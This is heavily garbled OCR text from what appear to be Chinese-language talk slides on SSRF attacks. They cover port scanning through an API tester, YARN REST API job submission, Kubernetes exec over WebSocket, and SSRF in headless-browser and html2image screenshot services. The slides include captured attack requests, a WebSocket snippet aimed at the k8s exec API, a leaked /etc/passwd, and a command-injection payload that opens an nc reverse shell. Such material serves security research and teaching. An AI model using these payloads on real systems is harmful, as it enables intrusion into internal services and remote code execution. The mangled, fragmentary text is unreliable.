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test(Z88Y: Restful API)

"name”: "testl”,
"server": "http://10.
EAGE "“parameters’
"requestParams”:

"headers™:

BAER riER BXAE BIFiCR

T IR RIR

n - 1
* URL#thE: http//127.0.0.1:3306 D 3 rams

R il 0 k

ERAR GET ) =

f

Query Parameters

name: value: 'timeOut”:
Query Headers , 'me tho d 1

) T » -~ 1l .
name; value; resiype

cy un
M =
_‘




MIBERERE FiE X #EF 218 E (DatasourceConnectionError) ™

"[restapi] JsonParseException: Unexpected character ('<' (cod

"WARN"

Payload Status Error Timeout Length Conne... - Comment
200 B O 683 g
514 200 2 e 647
1004 200 670
1006 200 - 1331
1046 200 642
2181 200 B 670
3000 200 1371
3001 200 E o 1346
3009 200 798
3306 200 683
3888 200 670
5101 200 2 642
8009 200 670
8019 200 e (] 883
8020 200 883
8021 200 3 = 883
8025 200 883

Reguest |Response |

meta charzet=|*uthey
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Cloudera Manager / Ambari / MapR Control System / BigInsight / Mesos + Myriad

Jupyter (iPython Notebook)| [ Hue

/ Tableau / SAS / Platfora / Splunk / Dataiku / Datameer / RHadoop

Falcon ZooKeeper
KNOX
Oozie Lily Ranger
Flink
: : Sentry
DistCp Mahout ElasticSearch Solr <
Pig Hive Drill Spark Storm Impala q0P Recqrd
HAWQ Morphlines Chukwa Secvicn
Kafka
RabbitM
HCatalog Flume Q
Lucene
Tez Hbase / Phoenix / Cassandra / Accumulo / MongoDB / Riak
é YARN
'@
Q NEDRE, MapReduce

HDFS




| Lk =-Case 1

YarnzRIZsOp|aliwiAE

- T

RESTFUL API




BUiEFhR

« /ws/vl/cluster/apps/new-
application

HEUEIERE(36)(2E8L: Restful API)

BXRE ERox
http:// A 5055/ ws/v1/cluster/apps/new-application
FERTATE]
BERAD

request Body

Query Parameters

name: value:

Query Headers

name:  Accept value: | application/json

name: @ Content-Type value: = application/json




BUiEFhR

« /ws/vl/cluster/apps/new-
application

- IR[EIZERRIN i

"application-id":

"application_1557828181032_1287",

"maximum-resource-capability™: {
"memory": 20480,

"vCores"™ 90




BUiEFhR

« /ws/vl/cluster/apps/new-
application

- IR[EIZERRIN i

RNAT&ZRS

« /ws/vl/cluster/apps
- z5#shell

”am :ontalnof-sooc”'
commands " :

"commanc

"application-1d": "application 1557
“apolication-name“: “test‘,
"application-type": "YARN'

0707
OLOLO

81032

_1285",
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—/\SSRF o] E T

PRy R snax gl i Shlaphy i pR e RS ELLR e { "args": {}. "headers": { "Host": "httpbin.org"”. "X-Amzn-Trace-Id": "Root=1-5f43bf8a-
Host: cmsGmm— 1495db804£6e4000£990baR0" }. "origin"- " ilutetubaimRe®' "u:l"': "http//httpbin org/get" }
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 | = ' ==
Firefox/68. 0

Content-Length: 0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN, zh;q=0.9

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Accept-Encoding: gzip

Connection: close
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— & & G/ :pi/proxy?url=http://10.
Search Infomation Security Knowledge Security Tools ools == ’ Python

{ "paths™: [ "/api", "/api/v1", "/apis”, "/apis/", "/apis/admissionregistration.k8s.i0", "/apis/admissionre(

"/apis/apiregistration.k8s.io/v1", "/apis/apiregistration.k8s.io/vibetal”, "/apis/apps", "/apis/apps/v1”®
"/apis/authentication.k8s.io/v1", "/apis/authentication.k8s.io/v1betal”, "/apis/authorization.k8s.io", "
"/apis/autoscaling.internal.knative.dev/vialpha1”, "/apis/autoscaling/v1", "/apis/autoscaling/v2betar
"/apis/caching.internal.knative.dev/v1alpha1”, "/apis/certificates.k8s.io", "/apis/certificates.k8s.io/v1b

"/apis/coordination.k8s.io/vibeta1”, "/apis/custom.metrics.k8s.i0", "/apis/custom.metrics.k8s.io/vibe

"/apis/networking.internal.knative.dev/v1alpha1®, "/apis/networking.istio.io", "/apis/networking.istio. k b t
"/apis/node.k8s.io/vibetal”, "/apis/policy”, "/apis/policy/vibetal®, "/apis/rbac.authorization.k8s.io", u e rn e eS
"/apis/rbac.istio.io/v1alphal”, "/apis/scheduling.k8s.i0", "/apis/scheduling.k8s.io/v1", "/apis/schedulir

"/apis/serving.knative.dev/vialpha1l®, "/apis/serving.knative.dev/vibeta1”, "/apis/storage.k8s.io", " P
"/healthz/ping", “/heaIthz/posts.tarth.ook/apiservice-openapi-controlIer.“, "/healthz/poststarthook/ap k8$ exec aplj:}'[,{j'ﬁj%\
"/healthz/poststarthook/ca-registration”, "/healthz/poststarthook/crd-informer-synced®, "/healthz/p

roles”, "/healthz/poststarthook/scheduling/bootstrap-system-priority-classes”, "/healthz/poststartho
informers”, "/healthz/poststarthook/start-kube-apiserver-admission-initializer”, "/logs”, "/metrics”, "

http://ip:8080/api/vl/namespaces/{namespace}/pods/{pod}/exec?
exec a pi,':\'ﬁj%:we bsocketiE container={container _name}&command={command}&stdin=1&std
out=1&tty=1&stderr=1




POST /api/screenshot HTTP/L1l.1

Host : <D

User-Agent: Mozilla/5.0 (Windows NT 10.0; rwv:€8.0)
Content-Length: 74

|

jlzlj_/|\SSRF ﬁﬁ@?’g Accept: application/json, text/plain, */*

Accept-Language: zh-CN, zh;qg=0.9
Content-Type: application/json;charset=UTF-8

sec-Fetch-Dest: empty
sec-Fetch-Mode: cors
sec-Fetch-5ite: same-origin
Accept-Encoding: gzip

{"url”:"http://127.0.0.1:80", "width":

HTTP/1l.1l 200 OK

Content-Type: application/json; charset=utf-8
Date: Tue, 11 Aug Z02Z0 03:19:15 GHMT

Server: nginx

Vary: Accept-Encoding
X-Envoy-Upstream-Service-Time:
Content-Length: 139

{"rs":1,"data":{"onlineUrl":

"http:// G - i/ screenshot/3fhddd3d-2ce5-4838-b5d8-8a388d850eeh . png”}, "message"null}




HTTP/1l.1l 500 Internal Server Error
Content-Length: €6

Content-Type: application/json; charset=utf-8
Date: Tue, 11 Aug Z0Z0 03:12:51 GHMT

Server: nginx
X-Envoy-Upstream-Service-Time: 20092

{"rs":2,"message":"Navigation Timeout Exceeded: Z0000ms exc

Puppeteer Headless browser

v
X

/,

Puppeteer
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® K8s exec apizgEwebsocketiEF
® XoaEsnlLA&ixwebsocketig=k

<script>

var target = "ws://127.0.0.1:8080/api/vl1l/namespaces/default/pods/...."

var ws
</script>

new WebSocket(target, "base64.channel.k8s.io");




K8s Server

(4) BEMTjSFHIX

k8s api host the evil
Js file

) ssrf 1%TeV|I server I (3) 1=[E]s file

_——
(2) i&3Kkevil server

Attacker Victim Server Evil Server
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POST /tool/htnﬂ”imgUl 1?width=750&height=0&csrfToken= 1 HITP/1.1 200 OK
bb651519-4e2e-4474-87ca-b80bc2022e4f HITP/1.1 2 Server: nginx

Host: «liiam 5 Date: Thu, 05 Nov 2020 05:52:03 GHT
Connection: close 4 Content-Type: appllcatlon/Json.chalset=UTF—8
Content-Length: 41 > Connection: close

Accept: application/json, text/plain, */* 6 Vary: Accept-Encoding

Origin: https:// Pragma: no-cache

User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; TAS-ANOO Build/TAS-ANOO; 5 Expires: Thu, 01 Jan 1970 00:00:00 GMT

wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 9 Cache-Control: no-cache

Chrome/75. 0. 3770. 143 Mobile Safari/537. 36 NG/ 1. C. 0 10 Cache-Control: no-store

NetType/WIFI (863064593742432_9aalab4543f2877d;baidu) NEJSBridge/2. 0.0 11 Set-Cookie: JSESSIONID-WNYD-WEB=

Content-Type: text/plain 1604555521736-D94E63B242C5E4CD273F86. hzabj-fehtml2imgl: Path=/;
Referer: HttpOnly

https:// N i+ Cul ture/dist/html /footmark. html 12 Content-Length: 117

Accept-Encoding: gzip, deflate 13

Accept-Language: zh-CN, zh:q=0. 9, en-US: q=0. 8, en: q=0. 7 14 {"msg” :”ffiJv-'J " "code”:0, "url”:

Cookie: _c1d=19162dd6-b7f9-441e-ba72-93bc453356db; _xsrf= https:// co—————————RRI | (4555523385 /536308222 184815!
bb651519-4e2e-4474-87ca-b80bc2022e4f; JSESSIONID- VN'ID WEB= C'C'E!e—-'_" a2.png’}

1603777432576-E94DEFA4B096BE0 147547 | ceesiesssssshaaanaamed < -Auth-Token=
14b83e22a G NENERN 5 - O d3adbf

X-Requested-Tith: com. m——

{iframe src= http://ssrf. (R ceve.io >




General Options:

-

--crop—h <int>

!
|

crop-w <int>
-CTop—X <int>

; --crop-y <int>
User Agent \

xtended-help

(g}

-+  ==-format <format>
--helght <int>
-h, -—help

--license

--lLog—-level <level>
--quality <int>

wkhtmltoimage -q, --quiet

-V, --version

--wldth <int>

https://wkhtmltopdf.org/
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igﬁﬂ&j{ﬂ: x=new XMLHttpRequest,x.onload=function(){ . ( . )},
x.open("GET"," "), x.send()

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/
Ip:x: 7. 7:Ip:var/spool/lpd:/bin/sh mail:x:8:8:mail:var/mail:/bin/sh news:x:9:9:news:/var/spool/ne

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data: x:33:33:

backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:655
libuuid:x:100:101::Avar/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4.:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/shin/nologin ntp
puppet:x:105:107:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false
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cd html2image/html2image-tomcat/default/tomcat
$ o
iZ£f¥.bash_history cd logs
- less localhost access 10g.2018-04-23.txt
curl http://127.0.0.1:8181

)I'-}

B

s POST /convert/html2’customStr
15£HNaccess |09 HTTP 1.0

Sk 2= NS =“http://127.0.0.1:8181/convert/html2?customStr=--
1&1Tnp$;$A ' 3bnc+Xx.X.X.x+7723+-e+/bin/bash%3b%23" >
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